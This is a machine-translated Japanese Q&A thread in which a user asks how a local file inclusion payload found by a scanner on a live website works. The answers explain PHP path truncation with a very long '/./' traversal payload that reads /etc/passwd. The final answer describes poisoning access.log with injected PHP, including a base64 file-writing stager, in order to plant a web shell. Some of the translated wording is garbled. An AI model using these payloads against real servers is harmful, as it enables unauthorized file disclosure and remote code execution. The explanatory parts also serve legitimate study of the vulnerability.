このパスバイパス/エクスプロイトローカルファイルインクルージョンを使用するにはどうすればよいですか？
一部のWebサイトで脆弱性スキャンスクリプト（Uniscan 6.0）を実行しようとしたところ、次のパスで悪用可能なサイトが見つかりました。 （「無効」という単語が含まれています。params/ websiteは両方とも検閲されます）
http://www.website.com/index.php?param1=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.¶m2=value¶m3=value
次のステップでは、実際に何が起こっているのかを本当に理解したいので、手動で悪用しようとしています。 （LFIに関するチュートリアルをいくつか見ました）
- ../../../../../../../../../../../../../../../etc/passwd& .. 。
- 無効../../../../../../../../../../../../../../../etc/passwd&。 ..
- ../../../../../../../../../../../../../../../etc/passwd%00& ...
- ../../../../../../../../../../../../../../../etc/passwd/。 /。/＆...
- ../../../../../../../../../../../../../../../etc/passwd%00 /。/。/％...
しかし、最初の非常に長い経路を除いてそれらは機能しませんでした、何が起こっていますか？
どのphp-codeを使用すればよいですか？そして、その長いパスがその脆弱なphp-codeをどのように迂回できるのでしょうか？
次の情報が役立つ場合があります。
< HTTP/1.1 200 OK
< Date: Thu, 19 Jul 2012 19:46:03 GMT
< Server: Apache/2.2.3 (CentOS)
< X-Powered-By: PHP/5.1.6
< Set-Cookie: PHPSESSID=[blah-blah]; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2094
< Content-Type: text/html
魅力的です！ @catalyzeは、ここで本当に興味深く、素敵な状況を掘り起こしました。ここで何が起こっているかをこのサイトで要約するために時間をかけたかったのです。 （@catalyzeとFrancesco "ascii" Ongaroへの完全なクレジット。私は彼らが説明したことを要約しているだけです。）
まとめこれは日常のLFI攻撃ではありません。代わりに、これはより異常で賢いものです。ここには、標準のLFIメソッドでは悪用できない脆弱性があります。それを悪用する方法を理解するには、さらに注意が必要です。
背景。最初に、フランチェスコの "ascii" Ongaroなどによって発見されたPHPのファイル処理に関する2つの事実を説明する必要があります。
事実1.ファイル名の最後に何かを追加できます。
/./etc/passwdが/etc/passwdファイルを参照するもう1つの方法であることは誰もが知っています。しかし、あなたが知らなかったかもしれないいくつかがあります。PHPでは、
/etc/passwd/も/etc/passwdファイルを参照していることがわかります。末尾のスラッシュは削除されます。ワイルドでしょ？これはベースUnixでは機能しないため、PHPがそのようなファイル名を受け入れるのは少し意外ですが、PHP自体がファイルを開く前に末尾のスラッシュを取り除いているようです。末尾にスラッシュをいくつでも追加できます。
/etc/passwd////も使用できます。また、
./を（必要なだけ）追加できます。たとえば、/etc/passwd/.、/etc/passwd/./、/etc/passwd/././.はすべて/etc/passwdを参照します。怒る！ PHPは関係ありません。事実2.長いパスは切り捨てられます。ほとんどのPHPのインストールでは、ファイル名が4096バイトを超える場合、通知なしに切り捨てられ、最初の4096バイトより後のすべてが破棄されます。 。エラーは発生しません。余分な文字は破棄され、PHPは問題なく続行します。
攻撃。これで攻撃について説明する準備ができました。脆弱なコード、標準のLFI攻撃が機能しない理由、そして機能するより巧妙な攻撃を構築する方法を紹介します。結果は、@ catalyzeがペンテストで見たものを説明しています。
脆弱なコード次のようなコードがあるとします。
<?php
include("includes/".$_GET['param1'].".php");
?>
これはローカルファイルインクルード（LFI）の脆弱性のように見えますよね？しかし、状況は最初に現れるよりも実際には少しトリッキーです。その理由を理解するために、いくつかの攻撃を見てみましょう。
標準的な攻撃。このLFIの脆弱性を悪用しようとする標準的な素朴な方法は、?param1=../../../../var/www/shared/badguy/evilのようなパラメータを提供することです。上記のPHPコードは、ファイルincludes/../../../../var/www/shared/badguy/evil.phpを含めようとします。ファイル/var/www/shared/badguy/evil.phpが存在し、攻撃者によって制御されていると想定した場合、この攻撃は成功し、アプリケーションに攻撃者が選択した悪意のあるコードを実行させます。
ただし、これが機能するのは、攻撃者が選択した内容のファイルをファイルシステムに導入でき、ファイル名が.phpで終わる場合のみです。攻撃者が.phpで終わるファイルシステム上のファイルを制御しない場合はどうなりますか？それでは、標準的な攻撃は失敗します。攻撃者が提供するパラメーター値に関係なく、これは.php拡張子で終わるファイル名を開くだけです。
より洗練された攻撃。先に紹介した追加の背景情報を使用して、この制限を克服するより洗練された攻撃を思いつく方法を見ることができるでしょう。
基本的に、攻撃者は非常に長いパラメーター値を選択するため、構築されたファイル名は4096バイトより長くなります。ファイル名が切り捨てられると、.php拡張子が破棄されます。そして、攻撃者が結果のファイル名をファイルシステム上の既存のファイルを参照するように調整できる場合、攻撃者は優れています。
これは遠く離れた攻撃のように聞こえるかもしれません。フルパスがちょうど4096バイトの長さであるファイルシステム上でファイル名を見つける確率はどのくらいですか？たぶんそんなに良くないの？
これは、背景の事実が作用するところです。攻撃者は、?param1=../../../../etc/passwd/./././././<...>を使用してリクエストを送信できます（./パターンが何千回も繰り返されます）。次に、プレフィックスが付加され、.phpファイル拡張子が追加された後、どのファイル名が含まれるかを確認します。これは、includes/../../../../etc/passwd/./././././<...>.phpのようになります。このファイル名は4096バイトを超えるため、切り捨てられます。切り捨てによりファイル拡張子が削除され、includes/../../../../etc/passwd/./././././<...>という形式のファイル名が残ります。そして、PHPが末尾のスラッシュと末尾の./シーケンスを処理する方法のおかげで、最後にあるものはすべて無視されます。つまり、このファイル名はPHPによって、パスincludes/../../../../etc/passwdと同等のものとして扱われます。したがって、PHPはパスワードファイルからの読み取りを試み、そこでPHP構文エラーを検出すると、パスワードファイルの内容をエラーページにダンプし、秘密情報を開示する可能性があります。攻撃者に。
したがって、この手法では、標準の方法では利用できなかったいくつかの脆弱性を利用できます。より詳細な説明と他の多くの例については、@ catalyzeがリンクしているページを参照してください。
これは、@ catalyzeが?param1=../../../../etc/passwdのようなものを送信して攻撃を悪用できなかった理由も説明します。.php拡張子が追加され、ファイル/etc/passwd.phpが存在しないため、攻撃は失敗しました。
概要。 PHPのファイルパスの処理の特殊性により、本来なら悪用できないと思われる脆弱性に対するあらゆる種類の微妙な攻撃が可能になります。侵入者にとって、これらの攻撃手法は知っておく価値があります。
開発者にとっても、レッスンは同じです。入力を検証します。攻撃者から提供された入力を信頼しないでください。従来のWebの脆弱性を知っており、コードに導入しないでください。
最後に、私は解決策を見つけました！
このLFIのバイパス技術はPath Truncation attackと呼ばれます
シナリオ：
- ホワイト/ブラックリスト、open_base_dir、またはアクセス制限の構成はありません
- Addlashes（）がすべてのGPCおよびSERVER入力で暗黙的に呼び出されるため、magic_quotesがnullバイトをエスケープします。 （この場合、
etc/passwd%00はetc/passwd\0になるため、正しいファイルとして評価できません。） - include_path（php.ini内に）最後に1つが含まれます絶対パスは、PHP（たとえば、のソースコードで脆弱な部分を引き起こしますinclude_path = "。：/ usr/share/php"）
- PHP <？ （誰が知っていますか？）
ペイロード：
- 存在しないディレクトリから開始する必要があります
- トラバーススレッドを続行し、含めるパスをポイントします
- 正規化/切り捨てスレッドで終了します。
賢い人たちがいます。
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/
私はこれが法的な目的で、セキュリティの研究のためだけに使用されることを想定しているという警告をもって、この質問に答えます。
PHPウェブサイトについて話している場合、これはおそらくバックエンドで起こっていることです：
$file = fopen($_GET["param"], "r");
/* Do some operation on the file handler, like maybe read the file and output it */
$contents = fread($file, $size);
print $contents
このLFIを悪用してWebシェルをアップロードし、Webシェルでシステムコマンドを実行する可能性があります。これを行う最も簡単な方法は、access.logに注入し、access.logにアクセスすることです。これを行う最も簡単な方法は、ユーザーエージェントまたは多分GETリクエストを変更して、ステージャーのセットアップに役立ついくつかのPHPコードを含めることです。たとえば、ウェブサイトへのTelnet 、および次のリクエストは、access.logに挿入する必要があります。
GET/ <?php phpinfo() ?>
明らかに、これでできることは、PHP access.logからの情報を取得することだけですが、アイデアはわかります。同じ行で、次のように簡単に実行できます。
GET/ <?php data = $_REQUEST['data']; $filename = $_REQUEST['filename']; file_put_contents($filename,base64_decode($data)); ?>
そして、base64エンコードされたPHPスクリプトをスクリプトにアップロードし、そこにWebシェルを配置します。残りの部分を理解するのはあなたに任せます。難しくはありません。 Kaotic Creations には、これについて本当にマルチパートのチュートリアルがあります。これについて詳しく知りたい場合は、このチュートリアルを必ずお読みください。